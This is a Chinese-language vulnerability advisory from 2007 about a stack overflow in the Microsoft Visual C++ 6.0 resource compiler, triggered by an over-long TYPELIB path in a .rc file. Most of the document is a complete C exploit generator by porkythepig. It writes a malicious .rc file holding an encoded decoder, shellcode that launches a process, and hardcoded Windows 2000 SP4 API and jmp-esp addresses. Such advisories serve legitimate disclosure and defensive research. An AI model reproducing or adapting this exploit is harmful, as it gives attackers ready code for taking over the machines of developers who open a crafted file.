安全研究
安全漏洞
Microsoft Visual C++ (.RC)资源文件远程栈溢出漏洞
发布日期：2007-01-17
更新日期：2007-01-23
受影响系统：
Microsoft Visual Studio 6.0 SP6描述：
BUGTRAQ ID: 22170
Microsoft Visual C++是基于Windows平台的C++编译器。
Microsoft Visual C++资源编译器RCDLL.DLL模块的MSDEV.EXE进程在处理.rc资源文件时存在栈溢出漏洞，远程攻击者可能利用此漏洞通过诱骗用户打开恶意资源文件来控制用户机器。
在处理类似于以下的文件名字段时：
1 TYPELIB MOVEABLE PURE "FilePath01"
如果FilePath01字符串超长的话，就会触发这个溢出。当字符串长度超过259字节时，资源编译器解析流程会陷入死循环，向进程栈内存区域的高位反复写入FilePath01字符串；溢出也可能导致执行任意指令。
<*来源：porkythepig （porkythepig@anspi.pl）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=116950021115463&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
//*****************
//
// Microsoft Visual C++ 6.0 SP6 resource compiler buffer overflow
// vulnerability .rc resource files exploit
//
// vulnerability found / exploit built by porkythepig
//
//*****************
#include "stdio.h"
#include "stdlib.h"
#include "memory.h"
#define STR01 "Microsoft Visual Studio 6.0 SP6 .rc PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 283
#define DEC_CODE 0xBC
#define DEC_CODE_OFFSET 0x2D
#define ENC_SIZE_OFFSET 0x3E
#define SHIFT 0x40
#define SHIFT_DEC_OFFSET 0x35
#define PROC_NAME_OFFSET 0x107
#define GETSTAR_OFFSET 0x11
#define CREPRO_OFFSET 0x6d
#define GETWINDIR_OFFSET 0x25
#define ESPSUB_OFFSET 0x08
#define FNAMSHIFT_OFFSET 0x02
typedef struct
{
unsigned int getStarInf;
unsigned int crePro;
unsigned int getWinDir;
unsigned int jmpEspPtr;
}ApiPtrs;
ApiPtrs osApiPtrs[2]=
{
0x7c4f49df,0x7c4fc0a0,0x7c4e9c00,0x782f28f7,
0x7c596b7a,0x7c595010,0x7c592d23,0x77e16280
};
unsigned char decoder[]=
{
0xeb,0x2a,0xeb,0x2a,0x8b,0xdc,0x81,0xc3,
0x40,0xff,0xff,0xff,0x8b,0xcb,0x33,0xd2,
0x8a,0x21,0x80,0xfc,0xbc,0x75,0xe9,0x41,
0x8a,0x21,0x80,0xec,0x40,0x88,0x23,0x43,
0x41,0x42,0x33,0xc0,0xb0,0x99,0x3b,0xd0,
0x7c,0xe6,0xeb,0xd6,0xeb,0xef
};
unsigned char shlCode[]=
{
0x83,0xc4,0x0c,0x8b,0xc4,0x8b,0xe6,0x90,
0x90,0x90,0x50,0x66,0x2d,0x10,0x20,0x50,
0xb8,0x7a,0x6b,0x59,0x7c,0xff,0xd0,0x5b,
0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81,
0xeb,0x10,0x30,0x53,0xb8,0x23,0x2d,0x59,
0x7c,0xff,0xd0,0x58,0x50,0x66,0x2d,0x10,
0x30,0x32,0xdb,0x38,0x18,0x74,0x03,0x40,
0xeb,0xf9,0x5b,0x53,0xb2,0xff,0xb1,0x5c,
0x88,0x08,0x40,0x38,0x13,0x74,0x08,0x8a,
0x0b,0x88,0x08,0x43,0x40,0xeb,0xf4,0xb2,
0x00,0x88,0x10,0x58,0x50,0x66,0x2d,0x10,
0x30,0x8b,0xd0,0x58,0x50,0x66,0x2d,0x10,
0x20,0x50,0x33,0xc9,0x51,0x51,0x51,0x51,
0x51,0x51,0x51,0x52,0xb8,0x10,0x50,0x59,
0x7c,0xff,0xd0,0xeb,0xfe
};
unsigned char jmp1Seq[]=
{
0xe9,0x2d,0xff,0xff,0xff
};
unsigned char jmp0Seq[]=
{
0xe9,0x28,0xff,0xff,0xff
};
unsigned char espSub0=0x4e;
unsigned char espSub1=0x5c;
unsigned char fnamShift0=0x0e;
unsigned char fnamShift1=0x1c;
unsigned char retOffset1=0xe7;
unsigned char retOffset0=0xf5;
unsigned char jmp1Offset=0xeb;
unsigned char jmp0Offset=0xf0;
unsigned short back3=0xf5eb;
unsigned char back3Offs=0xf9;
unsigned char buf0[EXPL_SIZE];
char *outName;
int osId;
int defProc;
unsigned char espSub;
unsigned char fnamShift;
unsigned char *jmpSeq;
unsigned char retOffset;
unsigned char jmpOffset;
int Encode(unsigned char *destBuf, unsigned char *srcBuf, int srcSize)
{
int cnt,c1;
for(cnt=0,c1=0;cnt<srcSize;cnt++)
{
if((srcBuf[cnt]<0x20)||(srcBuf[cnt]==0x22)||(srcBuf[cnt]==0x2f))
{
destBuf[c1]=DEC_CODE;
destBuf[c1+1]=srcBuf[cnt]+SHIFT;
c1+=2;
}
else
{
destBuf[c1]=srcBuf[cnt];
c1++;
}
}
return c1;
}
void CompileBuffer()
{
int ptr=0;
int encSiz;
memset(buf0,'1',EXPL_SIZE);
ptr+=sprintf((char*)buf0,"1 TYPELIB MOVEABLE PURE \"");
decoder[ESPSUB_OFFSET]=espSub;
memcpy(buf0+ptr,decoder,sizeof(decoder));
buf0[DEC_CODE_OFFSET]=DEC_CODE;
buf0[SHIFT_DEC_OFFSET]=SHIFT;
ptr+=sizeof(decoder);
*((unsigned int*)(shlCode+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
*((unsigned int*)(shlCode+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
*((unsigned int*)(shlCode+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;
shlCode[FNAMSHIFT_OFFSET]=fnamShift;
encSiz=Encode(buf0+ptr,shlCode,sizeof(shlCode));
buf0[ENC_SIZE_OFFSET]=sizeof(shlCode);
sprintf((char*)(buf0+PROC_NAME_OFFSET),"%s\xff",DEF_SPAWNED_PROCESS);
buf0[PROC_NAME_OFFSET+sizeof(DEF_SPAWNED_PROCESS)]=0xff;
*((unsigned int*)(buf0+retOffset))=osApiPtrs[osId].jmpEspPtr;
memcpy(buf0+jmpOffset,jmpSeq,5);
if(osId==0)
{
*((unsigned short*)(buf0+back3Offs))=back3;
}
sprintf((char*)(buf0+EXPL_SIZE-3),"\"\r\n");
printf("Exploit buffer compiled\n");
}
void WriteBuffer()
{
FILE *o;
o=fopen(outName,"wb");
if(o==NULL)
{
printf("Cannot open file for writing\n");
exit(0);
}
fprintf(o,"//**********\r\n// %s\r\n//**********\r\n\r\n",STR01);
fwrite(buf0,EXPL_SIZE,1,o);
fclose(o);
printf("Output .rc file [ %s ] built successfully\n",outName);
}
void ProcessInput(int argc, char* argv[])
{
printf("\nMicrosoft Visual Studio 6 .rc resource files exploit\n");
printf("Vulnerability found & exploit built by porkythepig\n");
if(argc<3)
{
printf("Syntax: exploit.exe os outName\n");
printf("[os] host OS, possible choices:\n");
printf(" 0 Windows 2000 SP4 English\n");
printf(" 1 Windows 2000 SP4 English all updates on day 11.01.2007\n");
printf("[outName] output .rc exploit file name\n");
exit(0);
}
osId=atol(argv[1]);
if((osId<0)||(osId>1))
{
exit(0);
}
if(osId==0)
{
espSub=espSub0;
fnamShift=fnamShift0;
jmpSeq=jmp0Seq;
jmpOffset=jmp0Offset;
retOffset=retOffset0;
}
else
{
espSub=espSub1;
fnamShift=fnamShift1;
jmpSeq=jmp1Seq;
jmpOffset=jmp1Offset;
retOffset=retOffset1;
}
outName=argv[2];
}
int main(int argc, char* argv[])
{
ProcessInput(argc,argv);
CompileBuffer();
WriteBuffer();
return 0;
}
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/technet/security/
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